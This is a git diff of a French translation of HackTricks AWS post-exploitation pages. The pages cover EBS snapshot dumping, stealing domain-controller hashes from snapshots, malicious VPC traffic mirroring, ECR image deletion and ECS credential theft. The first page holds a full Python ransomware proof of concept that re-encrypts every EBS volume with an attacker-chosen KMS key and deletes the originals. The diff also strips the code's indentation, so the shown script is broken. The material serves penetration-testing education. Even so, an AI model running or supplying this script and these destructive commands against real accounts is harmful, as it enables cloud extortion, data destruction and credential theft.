+Voici le script python utilisé. Il prend les identifiants AWS pour un compte 'victime' et une valeur ARN AWS disponible publiquement pour la clé à utiliser pour le chiffrement. Le script fera des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêtera chaque instance EC2, détachera les volumes EBS d'origine, les supprimera, et enfin supprimera tous les instantanés utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victime' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS D'ORIGINE. Vous pouvez les récupérer en utilisant la clé KMS utilisée et les restaurer à leur état d'origine via des instantanés, mais je veux juste vous faire savoir que c'est une preuve de concept de ransomware à la fin de la journée.
 ```
 import boto3
 import argparse
 from botocore.exceptions import ClientError
 
 def enumerate_ec2_instances(ec2_client):
-    instances = ec2_client.describe_instances()
-    instance_volumes = {}
-    for reservation in instances['Reservations']:
-        for instance in reservation['Instances']:
-            instance_id = instance['InstanceId']
-            volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
-            instance_volumes[instance_id] = volumes
-    return instance_volumes
+instances = ec2_client.describe_instances()
+instance_volumes = {}
+for reservation in instances['Reservations']:
+for instance in reservation['Instances']:
+instance_id = instance['InstanceId']
+volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
+instance_volumes[instance_id] = volumes
+return instance_volumes
 
 def snapshot_volumes(ec2_client, volumes):
-    snapshot_ids = []
-    for volume_id in volumes:
-        snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
-        snapshot_ids.append(snapshot['SnapshotId'])
-    return snapshot_ids
+snapshot_ids = []
+for volume_id in volumes:
+snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
+snapshot_ids.append(snapshot['SnapshotId'])
+return snapshot_ids
 
 def wait_for_snapshots(ec2_client, snapshot_ids):
-    for snapshot_id in snapshot_ids:
-        ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
+for snapshot_id in snapshot_ids:
+ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
 
 def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
-    new_volume_ids = []
-    for snapshot_id in snapshot_ids:
-        snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
-        volume_id = snapshot_info['VolumeId']
-        volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
-        availability_zone = volume_info['AvailabilityZone']
+new_volume_ids = []
+for snapshot_id in snapshot_ids:
+snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
+volume_id = snapshot_info['VolumeId']
+volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
+availability_zone = volume_info['AvailabilityZone']
 
-        volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
-                                          Encrypted=True, KmsKeyId=kms_key_arn)
-        new_volume_ids.append(volume['VolumeId'])
-    return new_volume_ids
+volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
+Encrypted=True, KmsKeyId=kms_key_arn)
+new_volume_ids.append(volume['VolumeId'])
+return new_volume_ids
 
 def stop_instances(ec2_client, instance_ids):
-    for instance_id in instance_ids:
-        try:
-            instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
-            instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
+for instance_id in instance_ids:
+try:
+instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
+instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
 
-            if instance_state == 'running':
-                ec2_client.stop_instances(InstanceIds=[instance_id])
-                print(f"Stopping instance: {instance_id}")
-                ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
-                print(f"Instance {instance_id} stopped.")
-            else:
-                print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
+if instance_state == 'running':
+ec2_client.stop_instances(InstanceIds=[instance_id])
+print(f"Stopping instance: {instance_id}")
+ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
+print(f"Instance {instance_id} stopped.")
+else:
+print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
 
-        except ClientError as e:
-            print(f"Error stopping instance {instance_id}: {e}")
+except ClientError as e:
+print(f"Error stopping instance {instance_id}: {e}")
 
 def detach_and_delete_volumes(ec2_client, volumes):
-    for volume_id in volumes:
-        try:
-            ec2_client.detach_volume(VolumeId=volume_id)
-            ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
-            ec2_client.delete_volume(VolumeId=volume_id)
-            print(f"Deleted volume: {volume_id}")
-        except ClientError as e:
-            print(f"Error detaching or deleting volume {volume_id}: {e}")
+for volume_id in volumes:
+try:
+ec2_client.detach_volume(VolumeId=volume_id)
+ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
+ec2_client.delete_volume(VolumeId=volume_id)
+print(f"Deleted volume: {volume_id}")
+except ClientError as e:
+print(f"Error detaching or deleting volume {volume_id}: {e}")
 
 
 def delete_snapshots(ec2_client, snapshot_ids):
-    for snapshot_id in snapshot_ids:
-        try:
-            ec2_client.delete_snapshot(SnapshotId=snapshot_id)
-            print(f"Deleted snapshot: {snapshot_id}")
-        except ClientError as e:
-            print(f"Error deleting snapshot {snapshot_id}: {e}")
+for snapshot_id in snapshot_ids:
+try:
+ec2_client.delete_snapshot(SnapshotId=snapshot_id)
+print(f"Deleted snapshot: {snapshot_id}")
+except ClientError as e:
+print(f"Error deleting snapshot {snapshot_id}: {e}")
 
 def replace_volumes(ec2_client, instance_volumes):
-    instance_ids = list(instance_volumes.keys())
-    stop_instances(ec2_client, instance_ids)
+instance_ids = list(instance_volumes.keys())
+stop_instances(ec2_client, instance_ids)
 
-    all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
-    detach_and_delete_volumes(ec2_client, all_volumes)
+all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
+detach_and_delete_volumes(ec2_client, all_volumes)
 
 def ebs_lock(access_key, secret_key, region, kms_key_arn):
-    ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
+ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
 
-    instance_volumes = enumerate_ec2_instances(ec2_client)
-    all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
-    snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
-    wait_for_snapshots(ec2_client, snapshot_ids)
-    create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
-    replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
-    delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed
+instance_volumes = enumerate_ec2_instances(ec2_client)
+all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
+snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
+wait_for_snapshots(ec2_client, snapshot_ids)
+create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
+replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
+delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed
 
 def parse_arguments():
-    parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
-    parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
-    parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
-    parser.add_argument('--region', required=True, help='AWS Region')
-    parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
-    return parser.parse_args()
+parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
+parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
+parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
+parser.add_argument('--region', required=True, help='AWS Region')
+parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
+return parser.parse_args()
 
 def main():
-    args = parse_arguments()
-    ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
+args = parse_arguments()
+ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
 
-    instance_volumes = enumerate_ec2_instances(ec2_client)
-    all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
-    snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
-    wait_for_snapshots(ec2_client, snapshot_ids)
-    create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
-    replace_volumes(ec2_client, instance_volumes)
-    delete_snapshots(ec2_client, snapshot_ids)
+instance_volumes = enumerate_ec2_instances(ec2_client)
+all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
+snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
+wait_for_snapshots(ec2_client, snapshot_ids)
+create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
+replace_volumes(ec2_client, instance_volumes)
+delete_snapshots(ec2_client, snapshot_ids)
 
 if __name__ == "__main__":
-    main()
+main()
 ```
-
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 7a9a19cc4..8dcb50d8e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -2,8 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Checking a snapshot locally
-
+## Vérification d'un instantané localement
 ```bash
 # Install dependencies
 pip install 'dsnap[cli]'
@@ -32,10 +31,8 @@ cd dsnap
 make docker/build
 IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
 ```
-
 > [!CAUTION]
-> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that:
-
+> **Remarque** que `dsnap` ne vous permettra pas de télécharger des instantanés publics. Pour contourner cela, vous pouvez faire une copie de l'instantané dans votre compte personnel et télécharger cela :
 ```bash
 # Copy the snapshot
 aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da
 # Delete the snapshot after downloading
 aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
 ```
+Pour plus d'informations sur cette technique, consultez la recherche originale sur [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
 
-For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
-
-You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
-
-## Checking a snapshot in AWS
+Vous pouvez le faire avec Pacu en utilisant le module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
 
+## Vérification d'un instantané dans AWS
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89
 ```
+**Montez-le dans une VM EC2 sous votre contrôle** (il doit être dans la même région que la copie de la sauvegarde) :
 
-**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup):
+Étape 1 : Un nouveau volume de la taille et du type de votre choix doit être créé en allant sur EC2 –> Volumes.
 
-Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes.
+Pour pouvoir effectuer cette action, suivez ces commandes :
 
-To be able to perform this action, follow these commands:
+- Créez un volume EBS à attacher à l'instance EC2.
+- Assurez-vous que le volume EBS et l'instance sont dans la même zone.
 
-- Create an EBS volume to attach to the EC2 instance.
-- Ensure that the EBS volume and the instance are in the same zone.
+Étape 2 : L'option "attacher le volume" doit être sélectionnée en cliquant avec le bouton droit sur le volume créé.
 
-Step 2: The "attach volume" option is to be selected by right-clicking on the created volume.
+Étape 3 : L'instance dans la zone de texte de l'instance doit être sélectionnée.
 
-Step 3: The instance from the instance text box is to be selected.
+Pour pouvoir effectuer cette action, utilisez la commande suivante :
 
-To be able to perform this action, use the following command:
+- Attachez le volume EBS.
 
-- Attach the EBS volume.
+Étape 4 : Connectez-vous à l'instance EC2 et listez les disques disponibles en utilisant la commande `lsblk`.
 
-Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`.
+Étape 5 : Vérifiez si le volume contient des données en utilisant la commande `sudo file -s /dev/xvdf`.
 
-Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`.
+Si la sortie de la commande ci-dessus montre "/dev/xvdf: data", cela signifie que le volume est vide.
 
-If the output of the above command shows "/dev/xvdf: data", it means the volume is empty.
+Étape 6 : Formatez le volume au système de fichiers ext4 en utilisant la commande `sudo mkfs -t ext4 /dev/xvdf`. Alternativement, vous pouvez également utiliser le format xfs en utilisant la commande `sudo mkfs -t xfs /dev/xvdf`. Veuillez noter que vous devez utiliser soit ext4 soit xfs.
 
-Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs.
+Étape 7 : Créez un répertoire de votre choix pour monter le nouveau volume ext4. Par exemple, vous pouvez utiliser le nom "newvolume".
 
-Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume".
+Pour pouvoir effectuer cette action, utilisez la commande `sudo mkdir /newvolume`.
 
-To be able to perform this action, use the command `sudo mkdir /newvolume`.
+Étape 8 : Montez le volume dans le répertoire "newvolume" en utilisant la commande `sudo mount /dev/xvdf /newvolume/`.
 
-Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`.
+Étape 9 : Changez de répertoire vers le répertoire "newvolume" et vérifiez l'espace disque pour valider le montage du volume.
 
-Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount.
+Pour pouvoir effectuer cette action, utilisez les commandes suivantes :
 
-To be able to perform this action, use the following commands:
+- Changez de répertoire vers `/newvolume`.
+- Vérifiez l'espace disque en utilisant la commande `df -h .`. La sortie de cette commande doit montrer l'espace libre dans le répertoire "newvolume".
 
-- Change directory to `/newvolume`.
-- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory.
-
-You can do this with Pacu using the module `ebs__explore_snapshots`.
-
-## Checking a snapshot in AWS (using cli)
+Vous pouvez faire cela avec Pacu en utilisant le module `ebs__explore_snapshots`.
 
+## Vérification d'un instantané dans AWS (en utilisant cli)
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
 
@@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt
 
 ls /mnt
 ```
-
 ## Shadow Copy
 
-Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
+Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs du domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket.
 
-You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
+Vous pouvez utiliser cet outil pour automatiser l'attaque : [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou vous pourriez utiliser l'une des techniques précédentes après avoir créé un snapshot.
 
 ## References
 
 - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index eb3b5f33f..daf265f54 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -2,18 +2,14 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**Vérifiez** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **pour plus de détails sur l'attaque !**
 
-Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**.
+L'inspection passive du réseau dans un environnement cloud a été **difficile**, nécessitant des changements de configuration majeurs pour surveiller le trafic réseau. Cependant, une nouvelle fonctionnalité appelée “**VPC Traffic Mirroring**” a été introduite par AWS pour simplifier ce processus. Avec le VPC Traffic Mirroring, le trafic réseau au sein des VPC peut être **dupliqué** sans installer de logiciel sur les instances elles-mêmes. Ce trafic dupliqué peut être envoyé à un système de détection d'intrusion réseau (IDS) pour **analyse**.
 
-To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts.
+Pour répondre au besoin de **déploiement automatisé** de l'infrastructure nécessaire pour le mirroring et l'exfiltration du trafic VPC, nous avons développé un script de preuve de concept appelé “**malmirror**”. Ce script peut être utilisé avec des **identifiants AWS compromis** pour configurer le mirroring pour toutes les instances EC2 prises en charge dans un VPC cible. Il est important de noter que le VPC Traffic Mirroring n'est pris en charge que par les instances EC2 alimentées par le système AWS Nitro, et la cible de miroir VPC doit être dans le même VPC que les hôtes miroités.
 
-The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible.
+L'**impact** du mirroring de trafic VPC malveillant peut être significatif, car il permet aux attaquants d'accéder à des **informations sensibles** transmises au sein des VPC. La **probabilité** d'un tel mirroring malveillant est élevée, compte tenu de la présence de **trafic en clair** circulant à travers les VPC. De nombreuses entreprises utilisent des protocoles en clair au sein de leurs réseaux internes pour des **raisons de performance**, supposant que les attaques traditionnelles de type homme du milieu ne sont pas possibles.
 
-For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes.
+Pour plus d'informations et d'accès au [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), il peut être trouvé dans notre **dépôt GitHub**. Le script automatise et rationalise le processus, le rendant **rapide, simple et répétable** à des fins de recherche offensive.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index a971ea769..e902b0423 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -4,14 +4,13 @@
 
 ## ECR
 
-For more information check
+Pour plus d'informations, consultez
 
 {{#ref}}
 ../aws-services/aws-ecr-enum.md
 {{#endref}}
 
-### Login, Pull & Push
-
+### Connexion, Tirer & Pousser
 ```bash
 # Docker login into ecr
 ## For public repo (always use us-east-1)
@@ -38,17 +37,16 @@ docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
 # Downloading without Docker
 # List digests
 aws ecr batch-get-image --repository-name level2 \
-    --registry-id 653711331788 \
-    --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
 
 ## Download a digest
 aws ecr get-download-url-for-layer \
-    --repository-name level2 \
-    --registry-id 653711331788 \
-    --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-
-After downloading the images you should **check them for sensitive info**:
+Après avoir téléchargé les images, vous devez **vérifier qu'elles ne contiennent pas d'informations sensibles** :
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
 
-An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.
-
+Un attaquant disposant de l'une de ces autorisations peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images du dépôt** et ensuite **supprimer l'ensemble du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneur stockées dans le dépôt.
 ```bash
 bashCopy code# Create a JSON file with the malicious lifecycle policy
 echo '{
-  "rules": [
-    {
-      "rulePriority": 1,
-      "description": "Delete all images",
-      "selection": {
-        "tagStatus": "any",
-        "countType": "imageCountMoreThan",
-        "countNumber": 0
-      },
-      "action": {
-        "type": "expire"
-      }
-    }
-  ]
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
 }' > malicious_policy.json
 
 # Apply the malicious lifecycle policy to the ECR repository
@@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
 # Delete multiple images from the ECR public repository
 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 1d2fd80a5..f636218ee 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -4,50 +4,45 @@
 
 ## ECS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
 {{#endref}}
 
-### Host IAM Roles
+### Rôles IAM de l'hôte
 
-In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
-Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
+Dans ECS, un **rôle IAM peut être attribué à la tâche** s'exécutant à l'intérieur du conteneur. **Si** la tâche est exécutée à l'intérieur d'une **instance EC2**, l'**instance EC2** aura **un autre rôle IAM** qui lui est attaché.\
+Ce qui signifie que si vous parvenez à **compromettre** une instance ECS, vous pouvez potentiellement **obtenir le rôle IAM associé à l'ECR et à l'instance EC2**. Pour plus d'informations sur la façon d'obtenir ces identifiants, consultez :
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
 > [!CAUTION]
-> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
+> Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2.
 
-### Privesc to node to steal other containers creds & secrets
+### Privesc vers le nœud pour voler les identifiants et secrets d'autres conteneurs
 
-But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
+De plus, EC2 utilise Docker pour exécuter les tâches EC, donc si vous pouvez échapper au nœud ou **accéder au socket Docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **y entrer** et **voler leurs rôles IAM** attachés.
 
-#### Making containers run in current host
-
-Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
+#### Faire fonctionner des conteneurs sur l'hôte actuel
 
+En outre, le **rôle de l'instance EC2** aura généralement suffisamment de **permissions** pour **mettre à jour l'état de l'instance de conteneur** des instances EC2 utilisées comme nœuds à l'intérieur du cluster. Un attaquant pourrait modifier l'**état d'une instance en DRAINING**, puis ECS **supprimera toutes les tâches de celle-ci** et celles exécutées en tant que **REPLICA** seront **exécutées dans une autre instance,** potentiellement à l'intérieur de **l'instance de l'attaquant** afin qu'il puisse **voler leurs rôles IAM** et des informations sensibles potentielles à l'intérieur du conteneur.
 ```bash
 aws ecs update-container-instances-state \
-    --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-
-The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
-
+La même technique peut être réalisée en **désenregistrant l'instance EC2 du cluster**. Cela est potentiellement moins furtif mais cela **forcera les tâches à être exécutées sur d'autres instances :**
 ```bash
 aws ecs deregister-container-instance \
-    --cluster <cluster> --container-instance <container-instance-id> --force
+--cluster <cluster> --container-instance <container-instance-id> --force
 ```
-
-A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
-
+Une technique finale pour forcer la réexécution des tâches consiste à indiquer à ECS que le **tâche ou le conteneur a été arrêté**. Il existe 3 API potentielles pour cela :
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
-    --status STOPPED --reason "anything" --containers [...]
+--status STOPPED --reason "anything" --containers [...]
 
 # Needs: ecs:SubmitContainerStateChange
 aws ecs submit-container-state-change ...
@@ -55,13 +50,8 @@ aws ecs submit-container-state-change ...
 # Needs: ecs:SubmitAttachmentStateChanges
 aws ecs submit-attachment-state-changes ...
 ```
+### Voler des informations sensibles des conteneurs ECR
 
-### Steal sensitive info from ECR containers
-
-The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
+L'instance EC2 aura probablement également la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez rechercher des informations sensibles dans celles-ci).
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index 35b644689..d5f8eeb70 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
